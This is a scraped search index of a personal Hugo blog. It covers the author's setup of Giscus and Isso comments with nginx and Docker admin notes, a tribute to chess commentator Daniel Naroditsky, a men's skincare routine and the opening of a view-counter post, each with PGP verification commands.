and the Giscus app is installed for the repo.\nIcon is comically large\nKeep the CSS above; 16–20px usually looks right.\n7) Bonus: fast setup via GitHub CLI (optional, I didn\u0026rsquo;t use it, but I should\u0026rsquo;ve perhaps) # Create the public comments repo (adjust names) gh repo create yourname/blog-comments --public -d \u0026#34;Blog comment threads\u0026#34; --confirm # Enable Discussions for it gh repo edit yourname/blog-comments --enable-discussions Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.\nFinal config snapshot (condensed) baseURL = \u0026#34;https://example.com/\u0026#34; theme = \u0026#34;PaperMod\u0026#34; [outputs] home = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;, \u0026#34;JSON\u0026#34;] section = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] taxonomy = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] term = [\u0026#34;HTML\u0026#34;, \u0026#34;RSS\u0026#34;] [services.rss] limit = -1 [params] comments = true ShowRssButtonInSectionTermList = true ShowFullTextinRSS = true # Optional if using Home-Info/Profile mode: # [[params.socialIcons]] # name = \u0026#34;rss\u0026#34; # url = \u0026#34;/index.xml\u0026#34; Appendix — Why I added Isso, how I wired it, and what I fixed The story (why Isso + why I still keep Giscus) I wanted comments that:\nallow anonymous replies (no GitHub account required), are lightweight and self-hosted, and can work on my Tor .onion mirror. Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.\nResult: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).\nHow I run it (high-level) Site: Hugo + PaperMod Isso: listening on 127.0.0.1:8080, stored locally (SQLite) Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost Hugo partial: renders the two panels (Isso \u0026amp; Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.\nHugo partial: switcher + embeds Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial \u0026quot;comments.html\u0026quot; . }}.\n\u0026lt;!-- comments.html --\u0026gt; \u0026lt;div class=\u0026#34;comments-switch\u0026#34; style=\u0026#34;display:flex;gap:.5rem;margin:.5rem 0 1rem;\u0026#34;\u0026gt; \u0026lt;button id=\u0026#34;btn-isso\u0026#34; type=\u0026#34;button\u0026#34; aria-pressed=\u0026#34;true\u0026#34;\u0026gt;Anonymous (Isso)\u0026lt;/button\u0026gt; \u0026lt;button id=\u0026#34;btn-giscus\u0026#34; type=\u0026#34;button\u0026#34; aria-pressed=\u0026#34;false\u0026#34;\u0026gt;GitHub (Giscus)\u0026lt;/button\u0026gt; \u0026lt;a href=\u0026#34;https://github.com/AlipourIm/blog-comments/discussions/categories/comments\u0026#34; target=\u0026#34;_blank\u0026#34; rel=\u0026#34;noopener\u0026#34;\u0026gt;Open on GitHub ↗\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- Isso panel (default) --\u0026gt; \u0026lt;div id=\u0026#34;panel-isso\u0026#34;\u0026gt; \u0026lt;section id=\u0026#34;isso-thread\u0026#34;\u0026gt;\u0026lt;/section\u0026gt; \u0026lt;script src=\u0026#34;/isso/js/embed.min.js\u0026#34; data-isso=\u0026#34;/isso\u0026#34; data-isso-css=\u0026#34;true\u0026#34; data-isso-lang=\u0026#34;en\u0026#34; data-isso-max-comments-nested=\u0026#34;5\u0026#34; data-isso-sorting=\u0026#34;newest\u0026#34; async\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;small class=\u0026#34;isso-powered\u0026#34; style=\u0026#34;display:block;margin:.5rem 0;color:var(--secondary,#888)\u0026#34;\u0026gt; Comments powered by \u0026lt;a href=\u0026#34;https://isso-comments.de\u0026#34; target=\u0026#34;_blank\u0026#34; rel=\u0026#34;noopener\u0026#34;\u0026gt;Isso\u0026lt;/a\u0026gt; \u0026lt;/small\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;!-- Giscus panel (lazy-loaded on click) --\u0026gt; \u0026lt;div id=\u0026#34;panel-giscus\u0026#34; style=\u0026#34;display:none\u0026#34;\u0026gt; \u0026lt;section id=\u0026#34;giscus-thread\u0026#34;\u0026gt;\u0026lt;/section\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;script\u0026gt; (function () { const panelIsso = document.getElementById(\u0026#39;panel-isso\u0026#39;); const panelGisc = document.getElementById(\u0026#39;panel-giscus\u0026#39;); const issoBtn = document.getElementById(\u0026#39;btn-isso\u0026#39;); const giscBtn = document.getElementById(\u0026#39;btn-giscus\u0026#39;); let gLoaded = false; function isDark() { // 1) explicit PaperMod preference const pref = localStorage.getItem(\u0026#39;pref-theme\u0026#39;); if (pref === \u0026#39;dark\u0026#39;) return true; if (pref === \u0026#39;light\u0026#39;) return false; // 2) page state (classes / data-theme) const H = document.documentElement, B = document.body; const hasDark = H.classList.contains(\u0026#39;dark\u0026#39;) || B.classList.contains(\u0026#39;dark\u0026#39;) || H.dataset.theme === \u0026#39;dark\u0026#39; || B.dataset.theme === \u0026#39;dark\u0026#39; || H.classList.contains(\u0026#39;theme-dark\u0026#39;) || B.classList.contains(\u0026#39;theme-dark\u0026#39;); if (hasDark) return true; // 3) OS preference return window.matchMedia \u0026amp;\u0026amp; window.matchMedia(\u0026#39;(prefers-color-scheme: dark)\u0026#39;).matches; } const gTheme = () =\u0026gt; (isDark() ? \u0026#39;dark_dimmed\u0026#39; : \u0026#39;noborder_light\u0026#39;); function loadGiscus() { if (gLoaded) return; const s = document.createElement(\u0026#39;script\u0026#39;); s.src = \u0026#39;https://giscus.app/client.js\u0026#39;; s.async = true; s.crossOrigin = \u0026#39;anonymous\u0026#39;; s.setAttribute(\u0026#39;data-repo\u0026#39;,\u0026#39;AlipourIm/blog-comments\u0026#39;); s.setAttribute(\u0026#39;data-repo-id\u0026#39;,\u0026#39;R_kgDOQGARyA\u0026#39;); s.setAttribute(\u0026#39;data-category\u0026#39;,\u0026#39;Comments\u0026#39;); s.setAttribute(\u0026#39;data-category-id\u0026#39;,\u0026#39;DIC_kwDOQGARyM4Cw3x-\u0026#39;); s.setAttribute(\u0026#39;data-mapping\u0026#39;,\u0026#39;pathname\u0026#39;); s.setAttribute(\u0026#39;data-strict\u0026#39;,\u0026#39;0\u0026#39;); s.setAttribute(\u0026#39;data-reactions-enabled\u0026#39;,\u0026#39;1\u0026#39;); s.setAttribute(\u0026#39;data-emit-metadata\u0026#39;,\u0026#39;0\u0026#39;); s.setAttribute(\u0026#39;data-input-position\u0026#39;,\u0026#39;bottom\u0026#39;); s.setAttribute(\u0026#39;data-lang\u0026#39;,\u0026#39;en\u0026#39;); s.setAttribute(\u0026#39;data-theme\u0026#39;, gTheme()); // initial theme document.getElementById(\u0026#39;giscus-thread\u0026#39;).appendChild(s); // Retheme once iframe exists const reTheme = () =\u0026gt; { const iframe = document.querySelector(\u0026#39;iframe.giscus-frame\u0026#39;); if (!iframe) return; iframe.contentWindow?.postMessage( { giscus: { setConfig: { theme: gTheme() } } }, \u0026#39;https://giscus.app\u0026#39; ); }; // PaperMod toggle button document.getElementById(\u0026#39;theme-toggle\u0026#39;)?.addEventListener(\u0026#39;click\u0026#39;, () =\u0026gt; setTimeout(reTheme, 0) ); // Also react to attribute changes const mo = new MutationObserver(reTheme); mo.observe(document.documentElement, { attributes: true, attributeFilter: [\u0026#39;class\u0026#39;,\u0026#39;data-theme\u0026#39;] }); mo.observe(document.body, { attributes: true, attributeFilter: [\u0026#39;class\u0026#39;,\u0026#39;data-theme\u0026#39;] }); gLoaded = true; } function show(which) { const showIsso = which === \u0026#39;isso\u0026#39;; panelIsso.style.display = showIsso ? \u0026#39;block\u0026#39; : \u0026#39;none\u0026#39;; panelGisc.style.display = showIsso ? \u0026#39;none\u0026#39; : \u0026#39;block\u0026#39;; issoBtn?.setAttribute(\u0026#39;aria-pressed\u0026#39;, showIsso); giscBtn?.setAttribute(\u0026#39;aria-pressed\u0026#39;, !showIsso); if (!showIsso) loadGiscus(); } issoBtn?.addEventListener(\u0026#39;click\u0026#39;, e =\u0026gt; { e.preventDefault(); show(\u0026#39;isso\u0026#39;); }); giscBtn?.addEventListener(\u0026#39;click\u0026#39;, e =\u0026gt; { e.preventDefault(); show(\u0026#39;giscus\u0026#39;); }); // default show(\u0026#39;isso\u0026#39;); })(); \u0026lt;/script\u0026gt; Nginx: proxy Isso on both sites (and avoid the 404-onion trap) The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.\nFix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.\n# /etc/nginx/sites-enabled/onion-blog (same idea for the clearnet vhost) server { listen 127.0.0.1:3301 default_server; server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost; add_header Referrer-Policy no-referrer always; add_header X-Content-Type-Options nosniff always; add_header X-Frame-Options SAMEORIGIN always; root /srv/hugo/mysite/public-onion; index index.html; location / { try_files $uri $uri/ /index.html; } # /isso -\u0026gt; /isso/ location = /isso { return 301 /isso/; } # IMPORTANT: this must beat regex locations below location ^~ /isso/ { proxy_pass http://127.0.0.1:8080/; # Isso container/port proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_redirect off; proxy_read_timeout 60s; } # static location ~* \\\\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { access_log off; add_header Cache-Control \u0026#34;public, max-age=31536000, immutable\u0026#34;; try_files $uri =404; } } Reload and smoke test:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx curl -I http://\u0026lt;your-onion-host\u0026gt;/isso/js/embed.min.js # expect 200 If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso=\u0026quot;/isso\u0026quot;), you don’t need CORS.\nSmall CSS tweaks (one color across light/dark + spacing) I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:\n/* put this in your site CSS */ :root { --btn-blue: #2563eb; } /* adjust to taste */ /* Isso form buttons */ .isso-post-action input[type=\u0026#34;submit\u0026#34;], .isso-post-action input[name=\u0026#34;preview\u0026#34;] { background: var(--btn-blue) !important; color: #fff !important; border: none; padding: .5rem .75rem; border-radius: .4rem; cursor: pointer; } /* link actions under comments */ .isso-comment-footer a { color: var(--btn-blue) !important; margin-right: .5rem; /* gives \u0026#34;edit\u0026#34; and \u0026#34;delete\u0026#34; some breathing room */ text-decoration: none; } .isso-comment-footer a:hover { text-decoration: underline; } /* keep name/email/website stacked, slightly larger */ .isso-auth-section .isso-input-wrapper { display: block; margin: .35rem 0; } .isso-auth-section label { font-size: .95rem; } .isso-auth-section input[type=\u0026#34;text\u0026#34;], .isso-auth-section input[type=\u0026#34;email\u0026#34;], .isso-auth-section input[type=\u0026#34;url\u0026#34;] { width: 100%; font-size: 1rem; padding: .5rem .6rem; } What changed (the fixes I actually made) Theme correctness for Giscus.\nPaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:\nread localStorage.pref-theme first, fall back to class/data-theme, then fall back to OS preference.\nI also re-theme the Giscus iframe on every toggle via postMessage. Isso over Tor.\nOn the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.\nUI polish.\nUnified button/link color across themes, ensured “edit”/“delete” aren’t touching, kept the author/email/website inputs stacked, and left Submit/Preview styled and grouped. Sanity check Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload. Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200. Switcher buttons swap panels instantly; Giscus only loads when clicked. 8) Final notes! I could not fully fix the style of Isso. CSS is not easy\u0026hellip; drat!\nI don\u0026rsquo;t think anyone actually reads the blog, let alone comment on it. But it felt cool to have a comment section and also RSS for it. I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I\u0026rsquo;m happy with it! ^^\nAdmin note — Delete all Isso comments for a single post This note is for future me: how to remove every comment tied to one post in Isso.\nTested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.\nTL;DR (host with SQLite) Replace the placeholders for DB and POST_URI first.\n# 0) Variables — edit these two lines for your setup DB=\u0026#34;/var/lib/isso/comments.db\u0026#34; # path to your Isso SQLite DB (check isso.conf: [general] dbpath) POST_URI=\u0026#34;/posts/skin_routine/\u0026#34; # the post\u0026#39;s URI as stored by Isso (often just the path) # 1) Backup (always do this!) sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.backup \u0026#39;$(dirname \u0026#34;$DB\u0026#34;)/comments.$(date +%F-%H%M%S).backup.sqlite3\u0026#39;\u0026#34; # 2) Inspect: find the thread row and preview the comments sqlite3 \u0026#34;$DB\u0026#34; \u0026#34; .headers on .mode column SELECT id, uri FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; SELECT id, tid, created, author, text FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;) ORDER BY created DESC LIMIT 25; \u0026#34; # 3) Delete all comments for that post (thread) sqlite3 \u0026#34;$DB\u0026#34; \u0026#34; DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;); \u0026#34; # 4) (Optional) Remove the now-empty thread row too sqlite3 \u0026#34;$DB\u0026#34; \u0026#34; DELETE FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; VACUUM; \u0026#34; # 5) Done. Isso usually picks this up automatically. # If you\u0026#39;re containerized and want to be safe: # docker restart \u0026lt;isso_container_name\u0026gt; If running Isso in Docker Open a shell in the container, then run the same steps:\ndocker exec -it \u0026lt;isso_container_name\u0026gt; /bin/sh # Inside the container: DB=\u0026#34;/db/comments.db\u0026#34; # or /data/comments.db, check your image/volume mapping POST_URI=\u0026#34;/posts/skin_routine/\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.backup \u0026#39;/db/comments.$(date +%F-%H%M%S).backup.sqlite3\u0026#39;\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;SELECT id, uri FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;;\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;);\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; VACUUM;\u0026#34; exit # Optionally restart the container: docker restart \u0026lt;isso_container_name\u0026gt; Notes \u0026amp; gotchas Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: [general] dbpath = /var/lib/isso/comments.db What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it\u0026rsquo;s usually the path (/posts/\u0026lt;slug\u0026gt;/). If you’re unsure, list recent threads: sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.headers on\u0026#34; \u0026#34;.mode column\u0026#34; \u0026#34;SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;\u0026#34; Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those. Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again. HTTP API option: Isso supports DELETE /\u0026lt;comment_id\u0026gt; if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly. Safety: Always run a backup first, and preview with the SELECT before you run the DELETE. One-liners for the impatient DB=\u0026#34;/var/lib/isso/comments.db\u0026#34;; POST_URI=\u0026#34;/posts/skin_routine/\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;.backup \u0026#39;$(dirname \u0026#34;$DB\u0026#34;)/comments.$(date +%F-%H%M%S).backup.sqlite3\u0026#39;\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;);\u0026#34; sqlite3 \u0026#34;$DB\u0026#34; \u0026#34;DELETE FROM threads WHERE uri LIKE \u0026#39;%\u0026#39; || \u0026#39;$POST_URI\u0026#39; || \u0026#39;%\u0026#39;; VACUUM;\u0026#34; Isso container: quick checks \u0026amp; fixes for future me! (thank past me later ^^)\nFind the container\ndocker ps -a --format \u0026#39;table {{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Ports}}\u0026#39; | grep -i isso Inspect basic state\ndocker inspect -f \u0026#39;Name={{.Name}} Running={{.State.Running}} Status={{.State.Status}} StartedAt={{.State.StartedAt}} FinishedAt={{.State.FinishedAt}}\u0026#39; isso Logs\ndocker logs --tail=200 isso docker logs -f isso Ports \u0026amp; reachability\ndocker port isso sudo ss -ltnp | grep \u0026#39;:8080 \u0026#39; curl -i http://127.0.0.1:8080/ Restart policy (keep it running)\ndocker inspect -f \u0026#39;{{.HostConfig.RestartPolicy.Name}}\u0026#39; isso docker update --restart unless-stopped isso Start/stop the container\ndocker start isso docker stop isso Who/what stopped it (events)\ndocker events --since 24h --filter container=isso Common config issue: duplicate options/sections If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).\nnl -ba /config/isso.cfg | sed -n \u0026#39;1,120p\u0026#39; grep -n \u0026#39;^\\[server\\]\u0026#39; /config/isso.cfg grep -n \u0026#39;^public-endpoint\u0026#39; /config/isso.cfg Using Docker Compose (run these in the directory with your compose file)\ndocker compose ps docker compose logs --tail=200 isso docker compose up -d isso If the container doesn’t exist (create/recreate)\ndocker image ls | grep -i isso docker run -d --name isso -p 8080:8080 -v /srv/isso/config:/config -v /srv/isso/db:/db --restart unless-stopped ghcr.io/posativ/isso:latest Optional: exclude from auto-updaters (like Watchtower)\ndocker update --label-add com.centurylinklabs.watchtower.enable=false isso This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM jSr2VxAAgdHpf\u0026#43;4EIx2ASmSB\u0026#43;MeAHp7s1\u0026#43;2EPhmn96QuhiQO9Dr1e9250LbF/R8S A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB dcG3GVLuMSRgNmyolhFoSWn46aa\u0026#43;3wZGrzYZQVUt8op\u0026#43;2fVp36agq2YoB4zeGKSm Ri43rO/kTingD0bclOA\u0026#43;SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo\u0026#43;gB6jY EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3\u0026#43;xSXSH W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK\u0026#43;szOmASy8fFP7gCOcCRATtb eNIFtiAlRXI0CqJdeq5fE9b\u0026#43;LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM KycaNwsLBHPZWV\u0026#43;jDon8NEzYQk07n1Q9rlEWdL0egvn2S\u0026#43;pYnvLZbfi5dRhe\u0026#43;ciC qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA= =9k\u0026#43;S -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc gpg --verify new_features.md.asc new_features.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/","summary":"\u003cblockquote\u003e\n\u003cp\u003eShort story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.\u003cbr\u003e\nLonger story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.\u003c/p\u003e\u003c/blockquote\u003e\n\u003chr\u003e\n\u003cp\u003eI\u0026rsquo;ve been wanting to add comment section to my blog for a while.\nThere are a few problems.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eI don\u0026rsquo;t want to get attacked by bots or random people for no reason.\u003c/li\u003e\n\u003cli\u003eI don\u0026rsquo;t want to allow weird things to happen.\u003c/li\u003e\n\u003cli\u003eI don\u0026rsquo;t want to have a database for it.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo\u0026hellip; I decided to take a path which is not necesserially the best.\nIt requires a third party to act on your behalf, but it is not as scary as it sounds.\nAccording to Github:\u003c/p\u003e","title":"New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)"},{"content":"Daniel Naroditsky has passed away. I\u0026rsquo;ve never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. I like Fabi a lot, but my all-time favorite is Hikaru. Danya was my favorite commentator. Someone who was so fun to watch explaining complex positions. I think he was indeed, if not the best, one of the best at it.\nThe occasion is grim. However, let\u0026rsquo;s remember the immense pressure he was under. Let\u0026rsquo;s remember how he was accused of cheating by Kramnik many, many times. By a former world champion. Someone who has accused many and has ruined their lives for no reason. The likes of Hikaru!\nThe problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. I don\u0026rsquo;t know how to relate to any of these now. I do think this is some stupid, sad consequence that these baseless accusations have. All players have their exceptionally good days, and many many bad days. These accusations make no sense.\nI do think Danya went under so much pressure from these allegations, though. I don\u0026rsquo;t know if he ever cheated or not, but like, what\u0026rsquo;s the point now? He is gone. He\u0026rsquo;ll never be back.\nI don\u0026rsquo;t know what the cause was, but I hope he didn\u0026rsquo;t take his own life. I don\u0026rsquo;t know how the world will ever forgive FIDE or Kramnik for this. This bullying in plain sight is just brutal.\nRest in peace, Danya. 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Last year, after I came to Germany, I asked a female friend about how to do skin care. She touched my face and said, \u0026ldquo;Knock on wood, you have good skin!\u0026rdquo;. So\u0026hellip; idk why I decided to take extra care of my skin, but I did!\nGenerally speaking, things like this make me feel good about myself. Like I\u0026rsquo;m doing something positive while not being tortured! It\u0026rsquo;s always fun to rub cream on your face or gently massage it. Even cleaning the face skin feels refreshing. Everything also smells nice!\nOh\u0026hellip; and yeah, idk why I\u0026rsquo;m not good at excercising, but I really like to do things like this! Weird. I should definitely start going to the gym and working out. It is needed for me.\nSo\u0026hellip; I decided to watch a few Youtube videos, and a guide about skin care for men. My routine is super simple! I have a face cleanser that I use first and wash my face with it. It always feels refreshing and nice to use it! I initially bought the CeraVe cleaner, but switched to \u0026ldquo;Jack Black Pure Clean Daily Facial Cleanser\u0026rdquo; after that one ended. The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. You don\u0026rsquo;t need to use the cleanser in the morning, but you should definitely use it at night. It\u0026rsquo;s ok to wash your face with water in the morning.\nThe next step for me is applying the toner. I use \u0026ldquo;NIVEA Derma Skin Clear Toner\u0026rdquo;. It smells really nice and is quite refreshing to apply to the skin! The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. I gently rub it and let it dry; no rinsing is required here.\nAfter this, I apply an exfoliant to exfoliate my skin. I\u0026rsquo;ve been using \u0026ldquo;Paula\u0026rsquo;s Choice Skin Perfecting 2% BHA Liquid Exfoliant\u0026rdquo; so far, but this time I got \u0026ldquo;BULLDOG Original Exfoliating Face Scrub for Purer Skin\u0026rdquo;. Haven\u0026rsquo;t used it yet, but Paula\u0026rsquo;s choice one is definitely good. The thing with it is that you don\u0026rsquo;t have to massage it; it\u0026rsquo;s not physical; it\u0026rsquo;s an acid. I prefer the scrubby ones, but I think these are better for your skin. I\u0026rsquo;ll see how I like the new one, and if I prefer it or not. No rinsing is required here either.\nI then apply my eye cream, which is also from CeraVe. Haven\u0026rsquo;t really seen much of a difference under my eyes, but it is supposed to help. I don\u0026rsquo;t know! It feels good to apply the eye cream regardless.\nThe next step for me is the best one! Moisturiser. Yayy!!! It actually feels weird to use a moisturiser since I\u0026rsquo;ve watched Mortuary Assisant\u0026rsquo;s gameplay, and the last step there for embalming the body is applying moisturiser. Feels weird. The one I use is water-based, hence perfect for men. I use \u0026ldquo;Neutrogena Hydro Boost Aqua Gel Moisturiser\u0026rdquo;. As a man, if you use oil-based products, you\u0026rsquo;ll get acne. So don\u0026rsquo;t.\nI learned to use pads for applying some of these stuff, it feels cooler when applying the things to your face, and it specifically feels good when you gently tap your face with a cotton pad! ^^\nAnd\u0026hellip; last but not least is applying sun screen. Nothing special here. I just make sure to use SPF 50+ sunscreen for better protection.\nEven if it does nothing, it still makes me feel good about myself.\nThe whole routine does not take more than 10 min, but gives me an energy boost and a lot of good vibes both at night and in the morning!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM jSpuHQ//XvJ3YkPuPbDbaBf9PcLKftYmTRA2WWn14l1ZnLAav0MeEPVlwENAMQ5W hwAwfw1yF1KxMwLcskXYTpghSfIHegDjaXJqWctBQFJ8sdCUJNQyk\u0026#43;LTcJ1EXmED HhZrZJw8UsFcgyLs56pbBsIjjFMI4PbFWPxLgPu\u0026#43;tEpgIY8fSXzIb/gsUb/K3vZb JsDUyLjHwsoCn9oQFp/hE54i3LjuWtPipnSlxmWUx7AhtZUVICCQJP3/KelhXQdi 2fPmTsVNIzRtCxjnwII6KZtqKtj1mEaIFmmykKIsRpyNIRvNjDFkCxor\u0026#43;NAYKJmC veUzhll/LpNDAnrMAZ8ykEyhInlIHFtsH8PKiWDUhhrP4eggLmnBBFYVHrZ36BU9 48pn5odcK1Pz37rHwQKqm8RgL5PC09s2XWo6BJZGUwHjMDq8Kxtswp5JrRsAlmmi 8yk4/W4ASJfrE5ns\u0026#43;PSC24ogyNx/tu/2NiT5IlmpSilr5CGN9HhbfvXERM3OGHwF MeTRc61McdgHDHvg0V1PdE4Pe/wLZgzKHu/H\u0026#43;1E04P1uVHj102RXV7HFfYYDv59b suCSlTj/j2dNZuwGaw8wG2U17nGng9XkCJ1J2xXKKUb2gqIpOHVPF3yRGBnZwvpX 1bPgM8l3ItO6T55D4Ala2glHtQnhJRmi9GcdI47GpNoc2PWWKrA= =dBAx -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/skin_routine.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/skin_routine.md.asc gpg --verify skin_routine.md.asc skin_routine.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/","summary":"\u003cp\u003eI don\u0026rsquo;t know how to answer the \u0026ldquo;why?\u0026rdquo; or \u0026ldquo;whyyyyy?\u0026rdquo; or even \u0026ldquo;why the f***?\u0026rdquo; I have a skin routine.\nLast year, after I came to Germany, I asked a female friend about how to do skin care.\nShe touched my face and said, \u0026ldquo;Knock on wood, you have good skin!\u0026rdquo;.\nSo\u0026hellip; idk why I decided to take extra care of my skin, but I did!\u003c/p\u003e\n\u003cp\u003eGenerally speaking, things like this make me feel good about myself.\nLike I\u0026rsquo;m doing something positive while not being tortured!\nIt\u0026rsquo;s always fun to rub cream on your face or gently massage it.\nEven cleaning the face skin feels refreshing.\nEverything also smells nice!\u003c/p\u003e","title":"Skin routine"},{"content":"I only wanted a tiny “views” badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.\nThe thing is, I don\u0026rsquo;t think the counter even works correctly. Or maybe I\u0026rsquo;m undermining my blog popularity! But regardless, it was a small stiching task that I did on this lovely Friday evening. The day before my next term of German class starts. The day before playing deadface CTF that I\u0026rsquo;ve been counting days for.\nThe neat footer row First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:\n\u0026lt;div class=\u0026#34;site-meta-row\u0026#34; style=\u0026#34;display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;/index.xml\u0026#34; 